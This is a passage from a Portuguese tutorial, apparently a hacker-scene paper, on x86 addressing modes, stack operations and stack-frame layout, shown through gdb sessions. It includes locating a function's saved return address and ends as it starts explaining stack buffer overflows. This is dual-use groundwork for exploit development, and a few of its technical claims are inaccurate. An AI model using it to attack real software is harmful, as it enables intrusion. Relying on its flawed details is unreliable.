char buffer1[4], buffer2[]="fox";
strcpy (buffer1, buffer2);
__asm (
"NOP; NOP; NOP; NOP \n"
"MOV 0x00000010, %eax "
);
}
-- cut --
C:\Documents and Settings\David\Desktop>gdb dam_sampleII.exe -q
(gdb) disass main
Dump of assembler code for function main:
(...)
0x4012ba <main+42>: mov 0x403000,%eax <---------- DAM
0x4012bf <main+47>: mov %eax,0xfffffff8(%ebp)
0x4012c2 <main+50>: lea 0xfffffff8(%ebp),%eax
(...)
0x4012d4 <main+68>: nop
0x4012d5 <main+69>: nop
---Type <return> to continue, or q <return> to quit---
0x4012d6 <main+70>: nop
0x4012d7 <main+71>: nop
0x4012d8 <main+72>: mov 0x10,%eax <----------
0x4012dd <main+77>: leave
O que caracteriza esse modo de enderecamente e a nao utilizacao de nenhum sinal
especial, como referencias a ebp. Ele basicamente pega um endereco de memoria e
copia para um registrador. Vale ressaltar que voce nao pode copiar um endereco
de memoria para outro endereco diretamente.
=================
Um detalhe segue
=================
Setaremos um breakpoint na instrucao seguinte a que copia o endereco de memoria que
contem a string "fox" para o registrador eax, ou seja, a instrucao 47 de main.
0x4012ba <main+42>: mov 0x403000,%eax
A string esta armazenada no endereco de memoria 0x'403000'. Setaremos o breakpoint na
proxima instrucao:
(gdb) break *main+47
Breakpoint 1 at 0x4012bf: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 3.
Executo o programa:
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe
Breakpoint 1, 0x004012bf in main ()
at C:/Documents and Settings/David/Desktop/dam_sampleII.c:3
3 char buffer1[4], buffer2[]="fox";
O programa parou, agora veremos se a string realmente esta contida no endereco de
memoria 0x'403000':
(gdb) x/s 0x403000
0x403000 <_data_end__+4032>: "fox"
Esta. Bem, voce viu que na instrucao anterior a parada, os dados sao copiados para o
registrador eax, mas nos nao podemos fazer a leitura desses dados ("Enderecados pelo
modo de enderecamento direto") quando os mesmos estao no registrador eax "logo apos"
a copia dos dados usando o modo de enderecamento direto.
(gdb) i r eax
eax 0x786f66 7892838
(gdb) x/s 0x786f66
0x786f66: <Address 0x786f66 out of bounds>
Para lermos o valor que esta armazenado no endereco de memoria que eax guarda, devemos
primeiramente fazer o sistema copiar os dados armazenados no registrador 'eax', para a
stack, depois que o mesmo estiver "apontando" para esses dados "na stack", e que pode-
mos fazer a leitura do endereco de memoria apontado/guardado "no eax".
0x4012bf <main+47>: mov %eax,0xfffffff8(%ebp) <-- Move o valor de eax para a stack
0x4012c2 <main+50>: lea 0xfffffff8(%ebp),%eax <-- Faz eax armazenar o endereco da
string, na stack.
Variaveis locais sao alocadas na stack, no caso temos duas variaveis locais neste
programa acima, que sao:
char buffer1[4], buffer2[]="fox";
Veja que ebp referencia a stack, este modo de enderecamento sera citado adiante.
Repare que na instrucao 47 os dados (str) foram copiados para a stack (leia sobre
a mesma no capitulo abaixo) e na instrucao 50 eax aponta (armazena) o "endereco"
da stack no qual esta contida nossa string. Agora se setarmos um breakpoint na
proxima instrucao, podemos visualizar os dados armazenados no endereco de memoria
que eax guarda, que e o endereco da string na stack. Vamos testar. Primeiramente
setaremos um ponto de parada na instrucao 53 de main e iniciamos o programa.
(gdb) break *main+53
Breakpoint 1 at 0x4012c5: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 5.
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe
Breakpoint 1, 0x004012c5 in main ()
at C:/Documents and Settings/David/Desktop/dam_sampleII.c:5
5 strcpy (buffer1, buffer2);
Agora que o programa parou veremos o endereco que eax armazena:
(gdb) i r eax
eax 0x22ff70 2293616
O endereco 0x22ff70 e um endereco referente a uma parte da stack/pilha. Veremos
agora se esse endereco e o da string.
(gdb) x/s 0x22ff70
0x22ff70: "fox"
Perfeito. Isso foi apenas uma base para voce entender melhor o proximo capitulo.
No qual falo sobre o funcionamento da stack (O que e e como funciona). Nos tam-
bem podemos ler determinados bytes da string na stack. Para isso basta nao espe-
cificarmos o endereco inicial de uma string armazenada na memoria (Final '0'). A
string fox\0 possui 3 caracteres e o NULL byte, 4 caracteres, entao se eu quiser
visualizar a letra 'x' utilizo a seguinte sintaxe:
(gdb) x/s 0x22ff72
0x22ff72: "x"
Tendo em vista que:
0x22ff70 -> f
0x22ff71 -> 0
0x22ff72 -> x
0x22ff73 -> \0
Se especificarmos um endereco, o gdb nos mostrara tudo que existe deste ponto,
para frente.
(gdb) x/s 0x22ff71
0x22ff71: "ox"
Claro que os dados devem ser pertencentes ao mesmo bloco. Bloco esse que eh
iniciado com 0 e terminada no NULL byte (O terminador de string - '\0').
**********************************
* Indirect Addressing Mode - IAM *
**********************************
Este sem duvida e o modo de enderecamente mais facil de ser entendido. Ele consiste
em representarmos um endereco de memoria atraves de um registrador entre parenteses
na origiem da sintaxe utilizada, assim copiando tal endereco para o registrador de
destino. Veja um melhor exemplo deste modo:
-- cut --
main (){
__asm (
"MOVL 0x00000005, %eax \n"
"MOVL (%eax),%ebx \n" );
}
-- cut --
[1] - 0x4012ba <main+42>: mov 0x5,%eax <--- Direct Addressing Mode
[2] - 0x4012bf <main+47>: mov (%eax),%ebx <--- Indirect Addressing Mode
1 - Modo de enderecamento direto utilizado para a copia do endereco 0x00000005 para
o registrador eax.
2 - Modo de enderecamento indireto. O endereco anteriormente copiado para o regis-
trador eax agora sera copiado para o registrador ebx. Veja que eax esta entre
parenteses, isso faz uma copia DO VALOR ARMAZENADO NELE (0x00000005) para ebx.
*************************************
* Basepointer Addressing Mode - BAM *
*************************************
O modo de enderecamento de ponteiro base utiliza um endereco base armazenado em um
registrador (ebx - Extended base, registrador base nesse caso) e um offset para cal-
cular um endereco real. Antes dos dados serem movidos o deslocamento (offset) e inse-
rido ao endereco base e o resultado final e retornado para o destino da sintaxe
utilizada, assim ao termino desta operacao o endereco direto para o valor requerido
e entao encontrado. Esse modo de enderecamento e semelhante ao IAM, pois tambem e uti-
lizado o valor de um registrador entre parenteses (Endereco Base) para passar um va-
lor indiretamente. A unica diferenca deste metodo para o outro e a ja falada insercao
de um offset e o metodo que este deve ser especificado, ou seja, o mesmo devera fi-
car antes do registrador que armazena o endereco base.
Exemplo:
-- BPAM.c --
main (){
__asm (
"MOVL 0x00000005, %ebx \n"
"MOVL 4(%ebx),%eax \n" );
}
-- cut --
[1] - 0x4012ba <main+42>: mov 0x5,%ebx
[2] - 0x4012c0 <main+48>: mov 0x4(%ebx),%eax
1 - Move o endereco 0x00000005 para ebx.
2 - O offset (0x04) e adicionado ao endereco base (0x00000005) armazenado em ebx
e assim formando o valor 0x00000009 e movendo-o para o registrador eax. Entao
o endereco real/absoluto e 0x00000009.
***********************************
* Indexed Addressing Mode - IDAM *
***********************************
Utilizando esse metodo para se encontrar o endereco absoluto sao utilizados tres
valores, que sao: Um 'endereco de memoria', um 'registrador' e um 'multiplicador'.
O valor armazenado no index register e multiplicado por um numero, depois esse re-
sultado e adicionado ao endereco de memoria e logo em seguida este valor e final-
mente retornado. Um exemplo:
-- IDAM.c --
main (){
__asm (
"MOV $3, %ebx \n"
"MOV 0x000008 (,%ebx,2), %eax \n");
}
-- cut --
[1] - 0x4012ba <main+42>: mov $0x3,%ebx
[2] - 0x4012bf <main+47>: mov 0x8(,%ebx,2),%eax
1 - E copiado o valor 0x03 para o registrador ebx .
2 - O valor do index register ebx (0x'00000003') e multiplicado por '2', nesse caso, ou
seja, 0x00000003 * 2, e logo em seguida o resultado (0x00000006) e "adicionado" ao
endereco de memoria (0x00000008). O resultado final desta operacao e: 0x0000000E.
0x0E em hexadecimal corresponde a 14 em decimal, 14 e o resultado de 8 + 6.
Um detalhe que nao podemos esquecer e que, o resultado da multiplicacao do index register
por um numero deve retornar sempre um numero hexadecimal. Exemplo:
MOV 0x05, %ebx <--- 0x05 e copiado para ebx
MOV 0x00000000 (,%ebx, 4), %eax <--- Leia abaixo
O detalhe vem agora, veja que o resultado de cinco vezes quatro e igual a 20 EM DECIMAL,
mas com esse modo de enderecamento e com todos os outros, nao podemos retornar valores
decimais por que estavamos no nivel de programacao do micro-processador, ou seja, estamos
mechendo com a memoria do sistema, portanto devemos utilizar numero hexadecimais para tudo
"neste nivel". Entao o resultado que sera MOVido para o registrador acumulador (eax) e o
0x00000014 (Tendo em vista que o endereco base e 0x00000000), pois 0x14 equivale a 20 em
decimal, resultado esse de 5 vezes 4. Voce vera logo mais que apenas dois valores sao re-
almente necessarios neste modo de enderecamento. Exemplo:
movl $0x0,(%esp,1)
----- Capitulo 0x07
[=] + =========================================== + [=]
---=[ Funcionamento basico da stack ]=---
[=] + =========================================== + [=]
A stack, ou "pilha" (em portugues) e utilizada para varias coisas na execucao de
um programa, como por exemplo: Armazenar endereco de retorno (Falarei adiante) e
passar parametros para as subrotinas. Todas as variaveis locais sao armazenadas
na 'stack'. As instrucoes utilizadas para manipulacao da stack sao:
PUSH ---> EMPURRA DADOS SOBRE A PILHA. Nao se esqueca de que o re-
gistrador que aponta para o topo da pilha/stack e o esp
(extended stack pointer).
POP ---> "RETIRA" ESSES DADOS DO TOPO DO STACK E INSERE OS MESMOS
SOBRE ALGUM REGISTRADOR ESPECIFICADO POR NOS. Esses dados
nao sao literalmente retirados, pois a pilha e marcada como
somente leitura. O que acontece e que o registrador esp nao
aponta mais para esse endereco "retirado" da stack.
==================================
Exemplos das instrucoes push e pop
==================================
C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV CH,10 ; Depois da instrucao: CX = 1000
0D3C:0102 PUSH CX ; Empura o valor '1000' para o topo da stack/pilha.
0D3C:0103 POP DX ; "Retira" esses dados da stack e copia para o register DX.
0D3C:0104 POP AX ; A stack nao armazena mais 1000, portanto nao copia 1000.
-t <-- Executa a primeira instrucao, a que esta no endereco 0100.
======= ======= CX=1000 DX=0000 ======= ======= ======= =======
======= ======= ======= ======= IP=0102 NV UP EI PL NZ NA PO NC
0D3C:0102 51 PUSH CX
-t <-- Executa a instrucao que joga o valor de CX para o topo do stack
======= ======= CX=1000 DX=0000 ======= ======= ======= =======
======= ======= ======= ======= IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 5A POP DX
-t <-- Executa a instrucao que "retira" esses dados da stack e copia para DX
AX=0000 ======= CX=1000 DX=1000 ======= ======= ======= =======
======= ======= ======= ======= IP=0104 NV UP EI PL NZ NA PO NC
0D3C:0104 58 POP AX
-q
Nao executei a ultima instrucao, mas o resultado e "0000" nesse caso, pois depois
do primeiro POP, a stack nao guarda mais o valor 1000, portanto AX continuaria 0.
A stack funciona no esquema que costumamos chamar de LIFO - Last in First Out, que
significa: O ultimo dentro, primeiro fora. A stack/pilha recebe esse nome justa-
mente por trabalhar dessa maneira. Imagine uma pilha de CD's (chega de prato ;),
voce empilha seus CD's um sobre o outro, o ultimo 'CD' que voce coloca no topo da
pilha e o primeiro que voce retira. E assim que funciona a stack, o ultimo parame-
tro empurrado no topo do stack, e o primeiro parametro que a syscall pegara. Todas
as vezes que uma funcao/syscall e chamada essa mesma syscall pega os parametros
passados para seus argumentos, da pilha, ou seja, esses dados sao previamente
empilhados em tempo de execucao sobre o stack, e pegos na execucao da syscall.
Vejam esse codigo fonte:
-- msg.c --
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
main (){
MessageBoxA (0, "Text", "Title", 64);
exit (0);
}
-- cut --
A funcao MessageBoxA exibe uma mensagem em uma caixa de dialogo. Seus parametros
correspondem a: Dono da janela (0), texto da mensagem ("Text"), titutlo ("Title")
da janela e estilo de mensagem (64 = OK). Em tempo de execucao este programa em-
pilhara os respectivos argumentos desta funcao e chamara ("call") o endereco de
memoria onde esta armazenado a funcao MessageBoxA. Apos essa chamada a funcao, o
ultimo dado empilhado, sera o primeiro retirado. Veja esse exemplo para uma me-
lhor compreensao:
int MessageBox (
HWND hWnd, // handle do dono da janela
LPCTSTR lpText, // Endereco do texto
LPCTSTR lpCaption, // Endereco do titulo
UINT uType // Estilo da caixa de mensagem
);
MessageBoxA no stack
+==============+
| 64 | ---> Primeiro dado empilhado
|--------------|
| "title" | ---> Segundo dado empilhado
|--------------|
| "text" | ---> Terceiro dado empilhado
|--------------|
| NULL (0) | ---> Quarto dado empilhado
+--------------+
call [Endereco da funcao MessageBoxA]
Quando a funcao MessageBoxA e chamada (call) ela pegara primeiramente o ultimo dado
empilhado, no nosso caso o 0 (dono da janela), depois o texto da caixa de dialogo,
titulo da janela e o estilo de janela (64), assim exibindo a caixa de dialogo pro-
priamente dita. Em asm (Assembly) seria essa uma representacao ideal:
(...)
1 - PUSH 64 ; Empurra 64 (Estilo de janela) no topo do stack
2 - PUSH title ; Titulo da janela.
3 - PUSH text ; Empurra o texto no topo do stack.
4 - PUSH 0 ; Dono da janela.
call 0x77D46476 ; Chama a funcao armazenada neste endereco.
(...)
Quando a funcao e chamada ela pegara o ultimo valor empilhado, 4, depois 3, 2 e 1 e
assim consequentemente lhe apresentando a caixa de dialogo.
ExitProcess
(...)
PUSH 0 ; Empurra o status de saida sobre o topo do stack.
call 0x77E698FD ; Chama a funcao que termina a execucao do programa.
Quando a instrucao call e chamada o endereco da proxima instrucao e posto
no topo da stack. O exemplo que segue sera muito util para seu aprendiza-
do. Escrevi esse programa em assembly e compilei o mesmo com o fasm.
-- cut --
format PE GUI 4.0
include "c:\fasmw16727 (windows)\include\WIN32AX.INC"
start: ; Marca o inicio dos codigos
jmp hey ; Pula para o rotulo hey
chama:
pop ebx
invoke MessageBox,0,ebx, "Title",0
invoke exit,0
hey:
call chama
nome db '6_Bl4ck9_f0x6',0
; Importa as API's que contem as funcoes utilizadas no programa
data import
library kernel32, 'KERNEL32.DLL', user32, 'user32.dll'
; Importa as funcoes contidas nessas API's
import kernel32, exit, 'ExitProcess'
import user32, MessageBox, 'MessageBoxA'
end data
-- cut --
Comentarei o que e realmente importante.
call chama
nome db '6_Bl4ck9_f0x6',0
Veja que a instrucao call chama o rotulo "chama", ou seja, o fluxo do programa
segue desse ponto em diante, a 'proxima instrucao' apos a chamada do rotulo e
entao posta no topo da stack, ou seja, a variavel 'nome' que armazena a string
"6_Bl4ck9_f0x6" e empilhada. O db ali esta marcando que esta variavel armazena
caracteres, e como se fosse uma 'char' em C.
pop ebx
Retira os dados empilhados sobre a stack (A "string") e copia os mesmos para o
registrador ebx.
invoke MessageBox,0,ebx, "Title",0
invoke exit,0
Agora veja que interessante, repare que o segundo argumento da funcao MessageBox
e justamente o registrador 'ebx', que esta armazenando os dados anteriormente em-
pilhados, ou seja a string. O invoke chama uma funcao, nesse sao chamadas as fun-
coes MessageBox e ExitProcess (representado por 'exit' no codigo).
Vamos manipular o gdb agora:
C:\Documents and Settings\David>gdb msg.exe -q
(gdb) list
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <windows.h>
4
5 main (){
6
7 MessageBoxA (0, "Text", "Title", 64);
8 exit (0);
9 }
10
(gdb) q
C:\Documents and Settings\David>
Como voce ja sabe o comando "list" nos mostra os symbols do programa. Caso queira
visualizar mais linhas de codigo no seu programa, basta que repita o comando list,
se quiser voltar para as primeiras linhas digite list 0. Repare que cada symbol
possui um numero de identificacao, que pode ser visto a sua esquerda. Disassembla-
remos agora a funcao principal ('main()').
C:\Documents and Settings\David>gdb msg.exe -q
(gdb) disassemble main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x18,%esp
0x401296 <main+6>: and $0xfffffff0,%esp
0x401299 <main+9>: mov $0x0,%eax
0x40129e <main+14>: add $0xf,%eax
0x4012a1 <main+17>: add $0xf,%eax
0x4012a4 <main+20>: shr $0x4,%eax
0x4012a7 <main+23>: shl $0x4,%eax
0x4012aa <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012ad <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b0 <main+32>: call 0x401730 <_alloca>
0x4012b5 <main+37>: call 0x4013d0 <__main>
0x4012ba <main+42>: movl $0x40,0xc(%esp,1) <-- Estilo de janela
0x4012c2 <main+50>: movl $0x403000,0x8(%esp,1) <-- Titulo
0x4012ca <main+58>: movl $0x403006,0x4(%esp,1) <-- Texto
0x4012d2 <main+66>: movl $0x0,(%esp,1) <-- Dono da janela
0x4012d9 <main+73>: call 0x401880 <MessageBoxA@16> <-- Chamada da funcao
0x4012de <main+78>: sub $0x10,%esp
0x4012e1 <main+81>: movl $0x0,(%esp,1)
0x4012e8 <main+88>: call 0x401820 <exit>
End of assembler dump.
(gdb) q
C:\Documents and Settings\David>
O leitor astuto percebera que existe 0x40 ao inves de 64. Isso se deve ao fato de
que o processador trabalha com a base numerica hexadecimal. 0x40 e equivalente a
64 em decimal.
(...)
0x4012ba <main+42>: movl $0x40,0xc(%esp,1) <-- Estilo de janela
0x4012c2 <main+50>: movl $0x403000,0x8(%esp,1) <-- Titulo
0x4012ca <main+58>: movl $0x403006,0x4(%esp,1) <-- Texto
0x4012d2 <main+66>: movl $0x0,(%esp,1) <-- Dono da janela
0x4012d9 <main+73>: call 0x401880 <MessageBoxA@16> <-- Chamada da funcao
(...)
Como voce pode ver o estilo de janela e inserido primeiramente sobre a stack, seguido
do endereco de memoria onde esta localizado o titulo da caixa de mensagem, texto da
mensagem e logo apos o dono da janela. Na instrucao de endereco 0x4012d9 a instrucao
call chamara o endereco 0x401880 no qual "executara" a funcao MessageBoxA, que pega-
ra seus parametros previamente empilhados sobre a stack. Agora, duas resalvas devem
ser feitas: Esta sintaxe e a 'AT&T', ou seja, a origem e o lado esquerdo e o destino
o lado direito. A outra ressalva e sobre a "nao utilizacao" na instrucao PUSH, para
empilhamento de dados sobre a stack, ao contrario disto, os dados sao movidos para o
stack pointer (apontado por esp) com a instrucao movl (move long) e com o metodo de
enderecamento indexed. Para ver as strings armazenadas nos enderecos de memoria co-
piados para a stack, use o /s como sempre ;)
(gdb) x/s 0x403000
0x403000 <_data_end__+4032>: "Title"
(gdb) x/s 0x403000+6
0x403006 <_data_end__+4038>: "Text"
(gdb) q
Com o sinal de + seguido do numero 6 estou dizendo que desejo que o gdb me mostre
a string armazenada 6 bytes apos o endereco 0x403000, pois e onde se inicia o ou-
tro vetor de caracteres. Tambem poderia ter utilizado a sintaxe x/s 0x403006, di-
retamente. A stack no windows esta armazenada em enderecos baixos e ela possui um
esquema de enderecamento que cosiste em crescer de cima para baixo e de '4' em '4'
bytes. Extended Stack Pointer (esp) = 0006FFC4 <---
+=====================+
| Endereco | Valor ||
+=====================||
| ||
| 0006FFC4 77E714C7 ||
| 0006FFC8 FFFFFFFF ||
| 0006FFCC 77F5166A ||
| 0006FFD0 7FFDF000 ||
| 0006FFD4 F0909CF0 ||
| 0006FFD8 0006FFC8 ||
| ||
+======================+
Instrucoes que manipulam a stack
PUSH $5 ; Empurra o valor 5 na stack
PUSH $9 ; Empurra o valor 9 na stack
PUSH $10 ; Empurra o valor 10
PUSH $11 ; Empurra o valor 11
Veja a pilha logo apos essas instrucoes
+=====================+
| Endereco | Valor |
+=====================+
4 <-----> 0006FFB4 | 0000000B <-----> 11
8 <-----> 0006FFB8 | 0000000A <-----> 10
C <-----> 0006FFBC | 00000009 <-----> 9
0 <-----> 0006FFC0 | 00000005 <-----> 5
| 0006FFC4 | 77E714C7 |
| 0006FFC8 | FFFFFFFF |
| 0006FFCC | 77F5166A |
| 0006FFD0 | 7FFDF000 |
| 0006FFD4 | F0909CF0 |
| 0006FFD8 | 0006FFC8 |
+=====================+
| esp = 0x0006FFB4 |
+=====================+
----- Capitulo 0x07
[=] + =========================================== + [=]
---=[ O stack frame ]=---
[=] + =========================================== + [=]
O "termo" 'stack frame' nada mais e que uma representacao de um dos estados de um
programa montado na memoria em run-time - Tempo de execucao (claro). Veremos agora
como e composto um stack frame de uma funcao dentro de um programa escrito em C.
C:\Documents and Settings\David>gdb stack_frame.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) list
1 int function (int a, int b, int c){
2
3 char buffer[16];
4
5 }
6
7 main (){
8
9 function (1, 2, 3);
10
(gdb) list
11 }
Disassemblamos a funcao principal
(gdb) disass main
Dump of assembler code for function main:
0x401298 <main>: push %ebp
0x401299 <main+1>: mov %esp,%ebp
0x40129b <main+3>: sub $0x18,%esp
0x40129e <main+6>: and $0xfffffff0,%esp
0x4012a1 <main+9>: mov $0x0,%eax
0x4012a6 <main+14>: add $0xf,%eax
0x4012a9 <main+17>: add $0xf,%eax
0x4012ac <main+20>: shr $0x4,%eax
0x4012af <main+23>: shl $0x4,%eax
0x4012b2 <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012b5 <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b8 <main+32>: call 0x401720 <_alloca>
0x4012bd <main+37>: call 0x4013c0 <__main>
0x4012c2 <main+42>: movl $0x3,0x8(%esp,1)
0x4012ca <main+50>: movl $0x2,0x4(%esp,1)
0x4012d2 <main+58>: movl $0x1,(%esp,1)
0x4012d9 <main+65>: call 0x401290 <function> <---- Chama a "function"
0x4012de <main+70>: leave <---- Endereco de retorno
0x4012df <main+71>: ret
End of assembler dump.
(gdb) q
Veremos o stack frame da funcao "function" mostrada acima.
(gdb) disassemble function
Dump of assembler code for function function:
0x401290 <function>: push %ebp
0x401291 <function+1>: mov %esp,%ebp
0x401293 <function+3>: sub $0x18,%esp
0x401296 <function+6>: leave
0x401297 <function+7>: ret
End of assembler dump.
(gdb)
Neste exemplo utilizo o "symbol" function para representar a parte do programa que
queremos ver disassemblada, ou seja, que queremos ver as instrucoes, mas eu tambem
poderia utilizar aquele endereco ao lado da instrucao call (disassemble 0x401290).
Repare bem nessas instrucoes, pois elas que serao as utilizadas para a criacao e a
destruicao do stack frame. Para ser mais especifico as tres primeiras instrucoes
criam o stack frame de uma funcao qualquer, as duas ultimas instrucoes por sua vez,
destroem o stack frame de uma funcao. Vejamos agora um diagrama deste programa mon-
tado na memoria, ou seja, veremos seu stack frame.
---=[ Stack frame de uma funcao ]=---
+----------------+
| buffer[0] | --> Topo da stack (esp)
^ +----------------+
| | buffer[1] |
| +----------------+
| | buffer[2] |
| +----------------+
| | buffer[3]... |
| +----------------+
| | |
| | Dummy (8 bytes)|
| | |
| +----------------+
| | SFP | --> Stack Frame Pointer
| | | --> ebp - Extended Base pointer (referencia dados na stack)
| +----------------+
| | RETURN ADDRESS | --> Endereco da proxima instrucao apos a chamada da funcao.
+----------------+
| a (1) | < ------+
+----------------+ |
| b (2) | > Argumentos. function (int a, int b, int c);
+----------------+ |
| c (3) | < ------+
+----------------+
1 - Os argumentos da funcao sao alocados na memoria em ordem inversa. Nesse caso o
primeiro dado a ser inserido no stack frame e o valor da variavel c, depois b,
depois a.
2 - O endereco da proxima instrucao apos a chamada da funcao "function" e posto na
area "Return address" no stack frame, para o programa saber onde ele tem que
retornar apos o encerramento da funcao.
3 - SFP - Stack Frame Pointer aponta para a base do stack frame. O ebp e o regis-
trador utilizado para fazer referencias aos dados no stack frame.
4 - O espaco para as variaveis locais e reservado na stack/pilha. Lembrando que o
gcc tambem cria bytes de "alinhamento" na "area buffer" do stack frame.
==================================
= Se aprofundando no stack frame =
==================================
Como citei anteriormente, existe 5 instrucoes em assembly contidas em todas as funcoes
de um programa, as 3 primeiras correspondem ao "Prologo", a construcao do stack frame,
as duas ultimas correspondem ao "Epilogo", a destruicao do stack frame.
O Prologo
[1] - 0x401290 <function>: push %ebp
[2] - 0x401291 <function+1>: mov %esp,%ebp
[3] - 0x401293 <function+3>: sub $0x18,%esp
O Epilogo
[4] - 0x401296 <function+6>: leave
[5] - 0x401297 <function+7>: ret
=====================
Definhando o prologo
=====================
1) - O stack frame (registrador ebp) e empilhado. Como ja citei, e atraves deste
registrador especial que o programa faz referencias aos dados das variaveis
locais de uma funcao, nesse caso da funcao "function".
2) - Como voce ja sabe, quando main chama uma funcao, o endereco da proxima instru-
cao e posto na stack, disassemble a funcao main e veja a chamada a "function".
0x4012d9 <main+65>: call 0x401290 <function>
Veja que o programa faz uma chamada exatamente ao endereco inicial desta fun-
cao. E o endereco de memoria desta instrucao que e posto no topo da stack:
0x4012de <main+70>: leave
Este endereco fica armazenado na parte RETURN Address do stack frame, ele e
referenciado pelo registrador esp. Repare que o 0x'4012de' nao passa de um
endereco de memoria virtual. O leitor astuto percebera que houve uma copia
dos dados do esp (endereco de retorno) para ebp.
3) - E reservado um numero de bytes para alocar as variaveis locais. Nesse caso a
variavel local buffer reserva 16 bytes na stack, a funcao sub subtrai o va-
lor de um registrador, nesse caso o esp vai ser subtraido em 0x18 bytes assim
reservando 24 bytes em decimal p/ alocar as variaveis locais. Voce agora deve
estar se perguntando: Como? Se 0x18 em hexadecimal equivale a 24 em decimal?
A resposta e simples, o gcc reserva 8 bytes em todas as funcoes de um pro-
grama em C, o conjunto desses bytes adicionais sao chamados de dummy. Entao
ja temos o valor total:
16 (buffer) + 8 (dummy) = 24
24 em decimal corresponde a 0x18 em hexadecimal. Vale ressaltar que algumas
vezes o compilador gcc utiliza "alinhamentos extra" na construcao do stack
frame, mas nao foi o caso aqui. Comprove a existencia do dummy, compile esse
codigo:
-- cut --
main (){ }
-- cut --
Veja que apenas declaro a funcao principal e mais nada. Agora olhe o resultado:
(...)
(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x8,%esp <--- Veja o dummy aqui.
(...)
Perceba que apenas o espaco para o dummy da funcao principal foi reservado.
=====================
Definhando o epilogo
=====================
4) - A instrucao leave e composta basicamente por duas instrucoes:
MOV ebp, esp <----- Move o endereco de retorno anteriormente copiado para ebp
de volta para o esp.
POP ebp <----- Remove o SFP (ebp) do stack frame, assim destruindo-o.
5) - A instrucao ret move o endereco de retorno apontado por esp para o registrador
'eip' assim fazendo o programa continuar seu fluxo normal, executando a ins-
trucao depois da chamada a funcao "function". Lembre-se que o registrador eip
aponta para a proxima instrucao a ser executada.
Veja um diagrama do stack frame da funcao principal com dois argumento.
main(int argc, char *argv[]){
+----------------+
|char buffer[28];| <--- O topo aponta para buffer[0];
+----------------+
| dummy (8 bytes)| <--- Dummy da funcao main
+----------------+
| SFP (ebp) | <--- Apontador de base
+----------------+
| RETURN ADDRESS | <--- Endereco de retorno de main.
+----------------+
| int argc | <----+
+----------------+ /---> Argumentos de main();
| char *argv[] | <---+
+----------------+
=================================
+ Obtendo o endereco de retorno +
=================================
Nesta primeiro parte demonstrarei apenas uma das formas de obter o endereco
de retorno, no proximo paper falarei mais sobre metodos de conseguir o RET
de alguma funcao. Primeiramente farei uma pequena aplicacao:
-- get_ret.c --
#include <stdio.h>
#include <stdlib.h>
void func (){
printf ("Esta funcao nao faz nada");
}
main (){
func (); // <-- call 0x401290 <func>
exit (0); // <-- Retorno no stack frame
}
-- cut --
Vamos obter o endereco de retorno apos a chamada da funcao func()
C:\>gdb get_ret.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012a4 <main>: push %ebp
0x4012a5 <main+1>: mov %esp,%ebp
(...)
0x4012ce <main+42>: call 0x401290 <func>
0x4012d3 <main+47>: movl $0x0,(%esp,1) <-- No stack frame (0x4012d3)
0x4012da <main+54>: call 0x401810 <exit>
End of assembler dump.
Vamos ver o stack frame no qual este RET sera inserido:
(gdb) disass func
Dump of assembler code for function func:
0x401290 <func>: push %ebp
0x401291 <func+1>: mov %esp,%ebp
0x401293 <func+3>: sub $0x8,%esp
0x401296 <func+6>: movl $0x403000,(%esp,1)
0x40129d <func+13>: call 0x401820 <printf>
0x4012a2 <func+18>: leave
0x4012a3 <func+19>: ret
End of assembler dump.
Antes deste stack frame ser destruido marcaremos um breakpoint na ultima
instrucao, ou seja, a instrucao que comeca a destruicao do stack frame,
que e a 'leave', que esta localizada em <func+18>.
(gdb) break *func+18
Breakpoint 1 at 0x4012a2: file C:/get_ret.c, line 8.
Iniciaremos o programa:
(gdb) r
Starting program: C:\get_ret.exe
Breakpoint 1, func () at C:/get_ret.c:8
8 }
Pegaremos agora o endereco de ebp e o do RET:
(gdb) x/x $ebp
0x22ff58: 0x0022ff78 <--- Base do stack frame
Acima esta o endereco do FBP do stack frame. Utilizei o parametro 'x' do 'x/'
seguido do registrador no qual desejo ver o valor em hexadecimal.
(gdb) x/x $ebp+4
0x22ff5c: 0x004012d3 <--- Endereco de retorno.
Essa sintaxe diz que desejo ver em hexadecimal 4 bytes depois do SFP.
(...)
+------------+
| Dummy |
+------------+
| 0x0022ff78 | <-- FBP
+------------+
| 0x004012d3 | <-- RET
+------------+
Observe:
0x4012ce <main+42>: call 0x401290 <func>
0x4012d3 <main+47>: movl $0x0,(%esp,1)
^
|
+----- > Veja que e este endereco que esta na area RET do stack frame de func.
Lembrando que voce tambem fara bom proveito deste paper se utilizar os
exemplos aqui descritos, nos *nixes/linuxes ;)
----- Capitulo 0x0A
[=] + =========================================== + [=]
---=[ Como acontece o stack overflow ]=---
[=] + =========================================== + [=]
Acredito que isso seja de conhecimento de quase todos os leitores deste texto, que
apesar de saberem como acontece, nao sabem como explorar. O Overflow acontece quando
inserimos mais dado que um buffer pode suportar, ou seja, vamos supor que um buffer
suporte 16 bytes, se inserirmos 17 bytes esse ultimo byte vai "sobrescrever" o stack
frame e vai alcancar o dummy. Se por um acaso nos inserirmos 16 + 8 + 1 esse ultimo
byte inserido por nos alcancara o FBP (ebp) que por sinal e composto por 4 bytes, ou
seja, esses dados "ultrapassam" o espaco reservado para o buffer no 'stack frame',
